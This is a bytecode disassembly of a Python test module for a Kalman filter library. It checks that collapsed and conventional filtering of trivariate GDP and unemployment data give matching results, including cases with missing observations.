test_dfm_missing at 0x7faa7c1f6300, file "f.py", line 699> LOAD_CONST 'test_dfm_missing' MAKE_FUNCTION STORE_NAME test_dfm_missing LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'Trivariate' STORE_NAME __qualname__ LOAD_CONST '\n Tests collapsing three-dimensional observation data to two-dimensional\n ' STORE_NAME __doc__ LOAD_NAME classmethod LOAD_NAME float LOAD_CONST False BUILD_TUPLE LOAD_CONST <code object setup_class at 0x7fab82343c90, file "f.py", line 36> LOAD_CONST 'Trivariate.setup_class' MAKE_FUNCTION CALL_FUNCTION STORE_NAME setup_class LOAD_CONST <code object test_using_collapsed at 0x7fab82343930, file "f.py", line 64> LOAD_CONST 'Trivariate.test_using_collapsed' MAKE_FUNCTION STORE_NAME test_using_collapsed LOAD_CONST <code object test_forecasts at 0x7fab82343c00, file "f.py", line 74> LOAD_CONST 'Trivariate.test_forecasts' MAKE_FUNCTION STORE_NAME test_forecasts LOAD_CONST <code object test_forecasts_error at 0x7fab82343b70, file "f.py", line 80> LOAD_CONST 'Trivariate.test_forecasts_error' MAKE_FUNCTION STORE_NAME test_forecasts_error LOAD_CONST <code object test_forecasts_error_cov at 0x7fab82343ed0, file "f.py", line 85> LOAD_CONST 'Trivariate.test_forecasts_error_cov' MAKE_FUNCTION STORE_NAME test_forecasts_error_cov LOAD_CONST <code object test_filtered_state at 0x7fab40d048a0, file "f.py", line 91> LOAD_CONST 'Trivariate.test_filtered_state' MAKE_FUNCTION STORE_NAME test_filtered_state LOAD_CONST <code object test_filtered_state_cov at 0x7fab40d04f60, file "f.py", line 94> LOAD_CONST 'Trivariate.test_filtered_state_cov' MAKE_FUNCTION STORE_NAME test_filtered_state_cov LOAD_CONST <code object test_predicted_state at 0x7fab40d04540, file "f.py", line 99> LOAD_CONST 'Trivariate.test_predicted_state' MAKE_FUNCTION STORE_NAME test_predicted_state LOAD_CONST <code object test_predicted_state_cov at 0x7fab40d045d0, file "f.py", line 102> LOAD_CONST 'Trivariate.test_predicted_state_cov' MAKE_FUNCTION STORE_NAME test_predicted_state_cov LOAD_CONST <code object test_loglike at 0x7fab40d04b70, file "f.py", line 107> LOAD_CONST 'Trivariate.test_loglike' MAKE_FUNCTION STORE_NAME test_loglike LOAD_CONST <code object test_smoothed_states at 0x7fab40d04270, file "f.py", line 110> LOAD_CONST 'Trivariate.test_smoothed_states' MAKE_FUNCTION STORE_NAME test_smoothed_states LOAD_CONST <code object test_smoothed_states_cov at 0x7fab40d044b0, file "f.py", line 113> LOAD_CONST 'Trivariate.test_smoothed_states_cov' MAKE_FUNCTION STORE_NAME test_smoothed_states_cov LOAD_CONST <code object test_smoothed_states_autocov at 0x7fab40d04390, file "f.py", line 120> LOAD_CONST 'Trivariate.test_smoothed_states_autocov' MAKE_FUNCTION STORE_NAME test_smoothed_states_autocov LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR skip LOAD_CONST <code object test_smoothed_measurement_disturbance at 0x7fab40d04930, file "f.py", line 125> LOAD_CONST 'Trivariate.test_smoothed_measurement_disturbance' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_smoothed_measurement_disturbance LOAD_NAME pytest LOAD_ATTR mark LOAD_ATTR skip LOAD_CONST <code object test_smoothed_measurement_disturbance_cov at 0x7fab40d04150, file "f.py", line 132> LOAD_CONST 'Trivariate.test_smoothed_measurement_disturbance_cov' MAKE_FUNCTION CALL_FUNCTION STORE_NAME test_smoothed_measurement_disturbance_cov LOAD_CONST <code object test_smoothed_state_disturbance at 0x7fab40d04300, file "f.py", line 139> LOAD_CONST 'Trivariate.test_smoothed_state_disturbance' MAKE_FUNCTION STORE_NAME test_smoothed_state_disturbance LOAD_CONST <code object test_smoothed_state_disturbance_cov at 0x7fab40d04db0, file "f.py", line 145> LOAD_CONST 'Trivariate.test_smoothed_state_disturbance_cov' MAKE_FUNCTION STORE_NAME test_smoothed_state_disturbance_cov LOAD_CONST <code object test_simulation_smoothed_state at 0x7fab40d04e40, file "f.py", line 151> LOAD_CONST 'Trivariate.test_simulation_smoothed_state' MAKE_FUNCTION STORE_NAME test_simulation_smoothed_state LOAD_CONST <code object test_simulation_smoothed_measurement_disturbance at 0x7fab40d04780, file "f.py", line 154> LOAD_CONST 'Trivariate.test_simulation_smoothed_measurement_disturbance' MAKE_FUNCTION STORE_NAME test_simulation_smoothed_measurement_disturbance LOAD_CONST <code object test_simulation_smoothed_state_disturbance at 0x7fab40d041e0, file "f.py", line 160> LOAD_CONST 'Trivariate.test_simulation_smoothed_state_disturbance' MAKE_FUNCTION STORE_NAME test_simulation_smoothed_state_disturbance LOAD_CONST None RETURN_VALUE LOAD_GLOBAL results_kalman_filter LOAD_ATTR uc_bi LOAD_FAST cls STORE_ATTR results LOAD_GLOBAL pd LOAD_ATTR DataFrame LOAD_FAST cls LOAD_ATTR results LOAD_CONST 'data' BINARY_SUBSCR LOAD_GLOBAL pd LOAD_ATTR date_range LOAD_CONST '1947-01-01' LOAD_CONST '1995-07-01' LOAD_CONST 'QS' LOAD_CONST ('freq',) CALL_FUNCTION LOAD_CONST 'GDP' LOAD_CONST 'UNEMP' BUILD_LIST LOAD_CONST ('index', 'columns') CALL_FUNCTION LOAD_CONST 4 LOAD_CONST None BUILD_SLICE BINARY_SUBSCR STORE_FAST data LOAD_GLOBAL np LOAD_METHOD log LOAD_FAST data LOAD_CONST 'GDP' BINARY_SUBSCR CALL_METHOD LOAD_FAST data LOAD_CONST 'GDP' STORE_SUBSCR LOAD_FAST data LOAD_CONST 'UNEMP' BINARY_SUBSCR LOAD_CONST 100 BINARY_TRUE_DIVIDE LOAD_FAST data LOAD_CONST 'UNEMP' STORE_SUBSCR LOAD_GLOBAL np LOAD_METHOD exp LOAD_FAST data LOAD_CONST 'GDP' BINARY_SUBSCR CALL_METHOD LOAD_FAST data LOAD_CONST 'UNEMP' BINARY_SUBSCR BINARY_MULTIPLY LOAD_FAST data LOAD_CONST 'X' STORE_SUBSCR LOAD_CONST 2 STORE_FAST k_states LOAD_GLOBAL MLEModel LOAD_FAST data BUILD_TUPLE LOAD_CONST 'k_states' LOAD_FAST k_states BUILD_MAP LOAD_FAST kwargs BUILD_MAP CALL_FUNCTION LOAD_FAST cls STORE_ATTR mlemodel LOAD_FAST cls LOAD_ATTR mlemodel LOAD_ATTR ssm LOAD_FAST cls STORE_ATTR model LOAD_FAST alternate_timing POP_JUMP_IF_FALSE LOAD_CONST True LOAD_FAST cls LOAD_ATTR model STORE_ATTR timing_init_filtered LOAD_GLOBAL np LOAD_METHOD eye LOAD_FAST cls LOAD_ATTR model LOAD_ATTR k_states CALL_METHOD LOAD_FAST cls LOAD_ATTR model LOAD_CONST 'selection' STORE_SUBSCR LOAD_GLOBAL np LOAD_METHOD array LOAD_CONST 0.5 LOAD_CONST 0.2 BUILD_LIST LOAD_CONST 0 LOAD_CONST 0.8 BUILD_LIST LOAD_CONST 1 LOAD_CONST -0.5 BUILD_LIST BUILD_LIST CALL_METHOD LOAD_FAST cls LOAD_ATTR model LOAD_CONST 'design' STORE_SUBSCR LOAD_GLOBAL np LOAD_METHOD array LOAD_CONST 0.4 LOAD_CONST 0.5 BUILD_LIST LOAD_CONST 1 LOAD_CONST 0 BUILD_LIST BUILD_LIST CALL_METHOD LOAD_FAST cls LOAD_ATTR model LOAD_CONST 'transition' STORE_SUBSCR LOAD_GLOBAL np LOAD_METHOD diag LOAD_CONST 0.2 LOAD_CONST 1.1 LOAD_CONST 0.5 BUILD_LIST CALL_METHOD LOAD_FAST cls LOAD_ATTR model LOAD_CONST 'obs_cov' STORE_SUBSCR LOAD_GLOBAL np LOAD_METHOD diag LOAD_CONST 2.0 LOAD_CONST 1 BUILD_LIST CALL_METHOD LOAD_FAST cls LOAD_ATTR model LOAD_CONST 'state_cov' STORE_SUBSCR LOAD_FAST cls LOAD_ATTR model LOAD_METHOD initialize_approximate_diffuse CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR results_a LOAD_ATTR filter_collapsed POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR results_b LOAD_ATTR filter_collapsed POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR results_a LOAD_ATTR collapsed_forecasts LOAD_CONST None COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST self LOAD_ATTR results_b LOAD_ATTR collapsed_forecasts LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL assert_equal LOAD_FAST self LOAD_ATTR results_a LOAD_ATTR forecasts LOAD_ATTR shape LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST 3 CALL_FUNCTION POP_TOP LOAD_GLOBAL assert_equal LOAD_FAST self LOAD_ATTR results_b LOAD_ATTR collapsed_forecasts LOAD_ATTR shape LOAD_CONST 0 BINARY_SUBSCR LOAD_CONST 2 CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL assert_allclose LOAD_FAST self LOAD_ATTR results_a LOAD_ATTR forecasts LOAD_CONST 0 LOAD_CONST None LOAD_CONST None BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR LOAD_FAST self LOAD_ATTR results_b LOAD_ATTR forecasts LOAD_CONST 0 LOAD_CONST None LOAD_CONST None BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL assert_allclose LOAD_FAST self LOAD_ATTR results_a LOAD_ATTR forecasts_error LOAD_CONST 0 LOAD_CONST None LOAD_CONST None BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR LOAD_FAST self LOAD_ATTR results_b LOAD_ATTR forecasts_error LOAD_CONST 0 LOAD_CONST None LOAD_CONST None BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL assert_allclose LOAD_FAST self LOAD_ATTR results_a LOAD_ATTR forecasts_error_cov LOAD_CONST 0 LOAD_CONST 0 LOAD_CONST None LOAD_CONST None BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR LOAD_FAST self LOAD_ATTR results_b LOAD_ATTR forecasts_error_cov LOAD_CONST 0 LOAD_CONST 0 LOAD_CONST None LOAD_CONST None BUILD_SLICE BUILD_TUPLE BINARY_SUBSCR CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL assert_allclose LOAD_FAST self LOAD_ATTR results_a LOAD_ATTR filtered_state LOAD_FAST self LOAD_ATTR results_b LOAD_ATTR filtered_state CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL assert_allclose LOAD_FAST self LOAD_ATTR results_a LOAD_ATTR filtered_state_cov LOAD_FAST self LOAD_ATTR results_b LOAD_ATTR filtered_state_cov CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL assert_allclose LOAD_FAST self LOAD_ATTR results_a LOAD_ATTR predicted_state LOAD_FAST self LOAD_ATTR results_b LOAD_ATTR predicted_state CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL assert_allclose LOAD_FAST self LOAD_ATTR results_a LOAD_ATTR predicted_state_cov LOAD_FAST self LOAD_ATTR results_b LOAD_ATTR predicted_state_cov CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL assert_allclose LOAD_FAST self LOAD_ATTR results_a LOAD_ATTR llf_obs LOAD_FAST self LOAD_ATTR results_b LOAD_ATTR llf_obs CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL assert_allclose LOAD_FAST self LOAD_ATTR results_a LOAD_ATTR smoothed_state LOAD_FAST self LOAD_ATTR results_b LOAD_ATTR smoothed_state CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL assert_allclose LOAD_FAST self LOAD_ATTR results_a LOAD_ATTR smoothed_state_cov LOAD_FAST self LOAD_ATTR results_b LOAD_ATTR smoothed_state_cov LOAD_CONST 0.0001 LOAD_CONST ('atol',) CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL assert_allclose LOAD_FAST self LOAD_ATTR results_a LOAD_ATTR smoothed_state_autocov LOAD_FAST self LOAD_ATTR results_b LOAD_ATTR smoothed_state_autocov CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL assert_allclose LOAD_FAST self LOAD_ATTR results_a LOAD_ATTR smoothed_measurement_disturbance LOAD_FAST self LOAD_ATTR results_b LOAD_ATTR smoothed_measurement_disturbance CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL assert_allclose LOAD_FAST self LOAD_ATTR results_a LOAD_ATTR smoothed_measurement_disturbance_cov LOAD_FAST self LOAD_ATTR results_b LOAD_ATTR smoothed_measurement_disturbance_cov CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL assert_allclose LOAD_FAST self LOAD_ATTR results_a LOAD_ATTR smoothed_state_disturbance LOAD_FAST self LOAD_ATTR results_b LOAD_ATTR smoothed_state_disturbance CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL assert_allclose LOAD_FAST self LOAD_ATTR results_a LOAD_ATTR smoothed_state_disturbance_cov LOAD_FAST self LOAD_ATTR results_b LOAD_ATTR smoothed_state_disturbance_cov CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL assert_allclose LOAD_FAST self LOAD_ATTR sim_a LOAD_ATTR simulated_state LOAD_FAST self LOAD_ATTR sim_a LOAD_ATTR simulated_state CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL assert_allclose LOAD_FAST self LOAD_ATTR sim_a LOAD_ATTR simulated_measurement_disturbance LOAD_FAST self LOAD_ATTR sim_a LOAD_ATTR simulated_measurement_disturbance CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL assert_allclose LOAD_FAST self LOAD_ATTR sim_a LOAD_ATTR simulated_state_disturbance LOAD_FAST self LOAD_ATTR sim_a LOAD_ATTR simulated_state_disturbance CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'TestTrivariateConventional' STORE_NAME __qualname__ LOAD_NAME classmethod LOAD_NAME float BUILD_TUPLE LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object setup_class at 0x7fab40d04810, file "f.py", line 168> LOAD_CONST 'TestTrivariateConventional.setup_class' MAKE_FUNCTION CALL_FUNCTION STORE_NAME setup_class LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super LOAD_GLOBAL TestTrivariateConventional LOAD_FAST cls CALL_FUNCTION LOAD_ATTR setup_class LOAD_FAST dtype BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION POP_TOP LOAD_FAST cls LOAD_ATTR model LOAD_ATTR nobs STORE_FAST nobs LOAD_FAST cls LOAD_ATTR model LOAD_ATTR k_endog STORE_FAST k_endog LOAD_FAST cls LOAD_ATTR model LOAD_ATTR k_posdef STORE_FAST k_posdef LOAD_CONST True LOAD_FAST cls LOAD_ATTR model STORE_ATTR filter_conventional LOAD_CONST True LOAD_FAST cls LOAD_ATTR model STORE_ATTR filter_collapsed LOAD_FAST cls LOAD_ATTR model LOAD_METHOD smooth CALL_METHOD LOAD_FAST cls STORE_ATTR results_b LOAD_FAST cls LOAD_ATTR model LOAD_ATTR simulation_smoother LOAD_GLOBAL np LOAD_METHOD zeros LOAD_FAST nobs LOAD_FAST k_endog BINARY_MULTIPLY CALL_METHOD LOAD_GLOBAL np LOAD_METHOD zeros LOAD_FAST nobs LOAD_FAST k_posdef BINARY_MULTIPLY CALL_METHOD LOAD_GLOBAL np LOAD_METHOD zeros LOAD_FAST cls LOAD_ATTR model LOAD_ATTR k_states CALL_METHOD LOAD_CONST ('measurement_disturbance_variates', 'state_disturbance_variates', 'initial_state_variates') CALL_FUNCTION LOAD_FAST cls STORE_ATTR sim_b LOAD_CONST False LOAD_FAST cls LOAD_ATTR model STORE_ATTR filter_collapsed LOAD_FAST cls LOAD_ATTR model LOAD_METHOD smooth CALL_METHOD LOAD_FAST cls STORE_ATTR results_a LOAD_FAST cls LOAD_ATTR model LOAD_ATTR simulation_smoother LOAD_GLOBAL np LOAD_METHOD zeros LOAD_FAST nobs LOAD_FAST k_endog BINARY_MULTIPLY CALL_METHOD LOAD_GLOBAL np LOAD_METHOD zeros LOAD_FAST nobs LOAD_FAST k_posdef BINARY_MULTIPLY CALL_METHOD LOAD_GLOBAL np LOAD_METHOD zeros LOAD_FAST cls LOAD_ATTR model LOAD_ATTR k_states CALL_METHOD LOAD_CONST ('measurement_disturbance_variates', 'state_disturbance_variates', 'initial_state_variates') CALL_FUNCTION LOAD_FAST cls STORE_ATTR sim_a LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'TestTrivariateConventionalAlternate' STORE_NAME __qualname__ LOAD_NAME classmethod LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object setup_class at 0x7fab40d040c0, file "f.py", line 195> LOAD_CONST 'TestTrivariateConventionalAlternate.setup_class' MAKE_FUNCTION CALL_FUNCTION STORE_NAME setup_class LOAD_CONST <code object test_using_alterate at 0x7fab000a64b0, file "f.py", line 201> LOAD_CONST 'TestTrivariateConventionalAlternate.test_using_alterate' MAKE_FUNCTION STORE_NAME test_using_alterate LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super LOAD_GLOBAL TestTrivariateConventionalAlternate LOAD_FAST cls CALL_FUNCTION LOAD_ATTR setup_class LOAD_FAST args LOAD_CONST 'alternate_timing' LOAD_CONST True BUILD_MAP LOAD_FAST kwargs BUILD_MAP CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR model LOAD_ATTR _kalman_filter LOAD_ATTR filter_timing LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'TestTrivariateConventionalPartialMissing' STORE_NAME __qualname__ LOAD_NAME classmethod LOAD_NAME float BUILD_TUPLE LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object setup_class at 0x7fab000a6e40, file "f.py", line 206> LOAD_CONST 'TestTrivariateConventionalPartialMissing.setup_class' MAKE_FUNCTION CALL_FUNCTION STORE_NAME setup_class LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super LOAD_GLOBAL TestTrivariateConventionalPartialMissing LOAD_FAST cls CALL_FUNCTION LOAD_ATTR setup_class LOAD_FAST dtype BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION POP_TOP LOAD_FAST cls LOAD_ATTR model LOAD_ATTR nobs STORE_FAST nobs LOAD_FAST cls LOAD_ATTR model LOAD_ATTR k_endog STORE_FAST k_endog LOAD_FAST cls LOAD_ATTR model LOAD_ATTR k_posdef STORE_FAST k_posdef LOAD_GLOBAL np LOAD_ATTR nan LOAD_FAST cls LOAD_ATTR model LOAD_ATTR endog LOAD_CONST None LOAD_CONST 2 BUILD_SLICE LOAD_CONST 10 LOAD_CONST 180 BUILD_SLICE BUILD_TUPLE STORE_SUBSCR LOAD_CONST True LOAD_FAST cls LOAD_ATTR model STORE_ATTR filter_conventional LOAD_CONST True LOAD_FAST cls LOAD_ATTR model STORE_ATTR filter_collapsed LOAD_FAST cls LOAD_ATTR model LOAD_METHOD smooth CALL_METHOD LOAD_FAST cls STORE_ATTR results_b LOAD_FAST cls LOAD_ATTR model LOAD_ATTR simulation_smoother LOAD_GLOBAL np LOAD_METHOD zeros LOAD_FAST nobs LOAD_FAST k_endog BINARY_MULTIPLY CALL_METHOD LOAD_GLOBAL np LOAD_METHOD zeros LOAD_FAST nobs LOAD_FAST k_posdef BINARY_MULTIPLY CALL_METHOD LOAD_GLOBAL np LOAD_METHOD zeros LOAD_FAST cls LOAD_ATTR model LOAD_ATTR k_states CALL_METHOD LOAD_CONST ('measurement_disturbance_variates', 'state_disturbance_variates', 'initial_state_variates') CALL_FUNCTION LOAD_FAST cls STORE_ATTR sim_b LOAD_CONST False LOAD_FAST cls LOAD_ATTR model STORE_ATTR filter_collapsed LOAD_FAST cls LOAD_ATTR model LOAD_METHOD smooth CALL_METHOD LOAD_FAST cls STORE_ATTR results_a LOAD_FAST cls LOAD_ATTR model LOAD_ATTR simulation_smoother LOAD_GLOBAL np LOAD_METHOD zeros LOAD_FAST nobs LOAD_FAST k_endog BINARY_MULTIPLY CALL_METHOD LOAD_GLOBAL np LOAD_METHOD zeros LOAD_FAST nobs LOAD_FAST k_posdef BINARY_MULTIPLY CALL_METHOD LOAD_GLOBAL np LOAD_METHOD zeros LOAD_FAST cls LOAD_ATTR model LOAD_ATTR k_states CALL_METHOD LOAD_CONST ('measurement_disturbance_variates', 'state_disturbance_variates', 'initial_state_variates') CALL_FUNCTION LOAD_FAST cls STORE_ATTR sim_a LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'TestTrivariateConventionalPartialMissingAlternate' STORE_NAME __qualname__ LOAD_NAME classmethod LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object setup_class at 0x7fab000a6300, file "f.py", line 238> LOAD_CONST 'TestTrivariateConventionalPartialMissingAlternate.setup_class' MAKE_FUNCTION CALL_FUNCTION STORE_NAME setup_class LOAD_CONST <code object test_using_alterate at 0x7fa9834fdae0, file "f.py", line 244> LOAD_CONST 'TestTrivariateConventionalPartialMissingAlternate.test_using_alterate' MAKE_FUNCTION STORE_NAME test_using_alterate LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super LOAD_GLOBAL TestTrivariateConventionalPartialMissingAlternate LOAD_FAST cls CALL_FUNCTION LOAD_ATTR setup_class LOAD_FAST args LOAD_CONST 'alternate_timing' LOAD_CONST True BUILD_MAP LOAD_FAST kwargs BUILD_MAP CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR model LOAD_ATTR _kalman_filter LOAD_ATTR filter_timing LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'TestTrivariateConventionalAllMissing' STORE_NAME __qualname__ LOAD_NAME classmethod LOAD_NAME float BUILD_TUPLE LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object setup_class at 0x7fa9834fd810, file "f.py", line 249> LOAD_CONST 'TestTrivariateConventionalAllMissing.setup_class' MAKE_FUNCTION CALL_FUNCTION STORE_NAME setup_class LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super LOAD_GLOBAL TestTrivariateConventionalAllMissing LOAD_FAST cls CALL_FUNCTION LOAD_ATTR setup_class LOAD_FAST dtype BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION POP_TOP LOAD_FAST cls LOAD_ATTR model LOAD_ATTR nobs STORE_FAST nobs LOAD_FAST cls LOAD_ATTR model LOAD_ATTR k_endog STORE_FAST k_endog LOAD_FAST cls LOAD_ATTR model LOAD_ATTR k_posdef STORE_FAST k_posdef LOAD_GLOBAL np LOAD_ATTR nan LOAD_FAST cls LOAD_ATTR model LOAD_ATTR endog LOAD_CONST None LOAD_CONST None BUILD_SLICE LOAD_CONST 10 LOAD_CONST 180 BUILD_SLICE BUILD_TUPLE STORE_SUBSCR LOAD_CONST True LOAD_FAST cls LOAD_ATTR model STORE_ATTR filter_conventional LOAD_CONST True LOAD_FAST cls LOAD_ATTR model STORE_ATTR filter_collapsed LOAD_FAST cls LOAD_ATTR model LOAD_METHOD smooth CALL_METHOD LOAD_FAST cls STORE_ATTR results_b LOAD_FAST cls LOAD_ATTR model LOAD_ATTR simulation_smoother LOAD_GLOBAL np LOAD_METHOD zeros LOAD_FAST nobs LOAD_FAST k_endog BINARY_MULTIPLY CALL_METHOD LOAD_GLOBAL np LOAD_METHOD zeros LOAD_FAST nobs LOAD_FAST k_posdef BINARY_MULTIPLY CALL_METHOD LOAD_GLOBAL np LOAD_METHOD zeros LOAD_FAST cls LOAD_ATTR model LOAD_ATTR k_states CALL_METHOD LOAD_CONST ('measurement_disturbance_variates', 'state_disturbance_variates', 'initial_state_variates') CALL_FUNCTION LOAD_FAST cls STORE_ATTR sim_b LOAD_CONST False LOAD_FAST cls LOAD_ATTR model STORE_ATTR filter_collapsed LOAD_FAST cls LOAD_ATTR model LOAD_METHOD smooth CALL_METHOD LOAD_FAST cls STORE_ATTR results_a LOAD_FAST cls LOAD_ATTR model LOAD_ATTR simulation_smoother LOAD_GLOBAL np LOAD_METHOD zeros LOAD_FAST nobs LOAD_FAST k_endog BINARY_MULTIPLY CALL_METHOD LOAD_GLOBAL np LOAD_METHOD zeros LOAD_FAST nobs LOAD_FAST k_posdef BINARY_MULTIPLY CALL_METHOD LOAD_GLOBAL np LOAD_METHOD zeros LOAD_FAST cls LOAD_ATTR model LOAD_ATTR k_states CALL_METHOD LOAD_CONST ('measurement_disturbance_variates', 'state_disturbance_variates', 'initial_state_variates') CALL_FUNCTION LOAD_FAST cls STORE_ATTR sim_a LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'TestTrivariateConventionalAllMissingAlternate' STORE_NAME __qualname__ LOAD_NAME classmethod LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object setup_class at 0x7fa9834fd270, file "f.py", line 279> LOAD_CONST 'TestTrivariateConventionalAllMissingAlternate.setup_class' MAKE_FUNCTION CALL_FUNCTION STORE_NAME setup_class LOAD_CONST <code object test_using_alterate at 0x7fa9834fd5d0, file "f.py", line 285> LOAD_CONST 'TestTrivariateConventionalAllMissingAlternate.test_using_alterate' MAKE_FUNCTION STORE_NAME test_using_alterate LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super LOAD_GLOBAL TestTrivariateConventionalAllMissingAlternate LOAD_FAST cls CALL_FUNCTION LOAD_ATTR setup_class LOAD_FAST args LOAD_CONST 'alternate_timing' LOAD_CONST True BUILD_MAP LOAD_FAST kwargs BUILD_MAP CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR model LOAD_ATTR _kalman_filter LOAD_ATTR filter_timing LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'TestTrivariateUnivariate' STORE_NAME __qualname__ LOAD_NAME classmethod LOAD_NAME float BUILD_TUPLE LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object setup_class at 0x7fa9834fd150, file "f.py", line 290> LOAD_CONST 'TestTrivariateUnivariate.setup_class' MAKE_FUNCTION CALL_FUNCTION STORE_NAME setup_class LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_GLOBAL super LOAD_GLOBAL TestTrivariateUnivariate LOAD_FAST cls CALL_FUNCTION LOAD_ATTR setup_class LOAD_FAST dtype BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION POP_TOP LOAD_FAST cls LOAD_ATTR model LOAD_ATTR nobs STORE_FAST nobs LOAD_FAST cls LOAD_ATTR model LOAD_ATTR k_endog STORE_FAST k_endog LOAD_FAST cls LOAD_ATTR model LOAD_ATTR k_posdef STORE_FAST k_posdef LOAD_CONST True LOAD_FAST cls LOAD_ATTR model STORE_ATTR filter_univariate LOAD_CONST True LOAD_FAST cls LOAD_ATTR model STORE_ATTR filter_collapsed LOAD_FAST cls LOAD_ATTR model LOAD_METHOD smooth CALL_METHOD LOAD_FAST cls STORE_ATTR results_b LOAD_FAST cls LOAD_ATTR model LOAD_ATTR simulation_smoother LOAD_GLOBAL np LOAD_METHOD zeros LOAD_FAST nobs LOAD_FAST k_endog BINARY_MULTIPLY CALL_METHOD LOAD_GLOBAL np LOAD_METHOD zeros LOAD_FAST nobs LOAD_FAST k_posdef BINARY_MULTIPLY CALL_METHOD LOAD_GLOBAL np LOAD_METHOD zeros LOAD_FAST cls LOAD_ATTR model LOAD_ATTR k_states CALL_METHOD LOAD_CONST ('measurement_disturbance_variates', 'state_disturbance_variates', 'initial_state_variates') CALL_FUNCTION LOAD_FAST cls STORE_ATTR sim_b LOAD_CONST False LOAD_FAST cls LOAD_ATTR model STORE_ATTR filter_collapsed LOAD_FAST cls LOAD_ATTR model LOAD_METHOD smooth CALL_METHOD LOAD_FAST cls STORE_ATTR results_a LOAD_FAST cls LOAD_ATTR model LOAD_ATTR simulation_smoother LOAD_GLOBAL np LOAD_METHOD zeros LOAD_FAST nobs LOAD_FAST k_endog BINARY_MULTIPLY CALL_METHOD LOAD_GLOBAL np 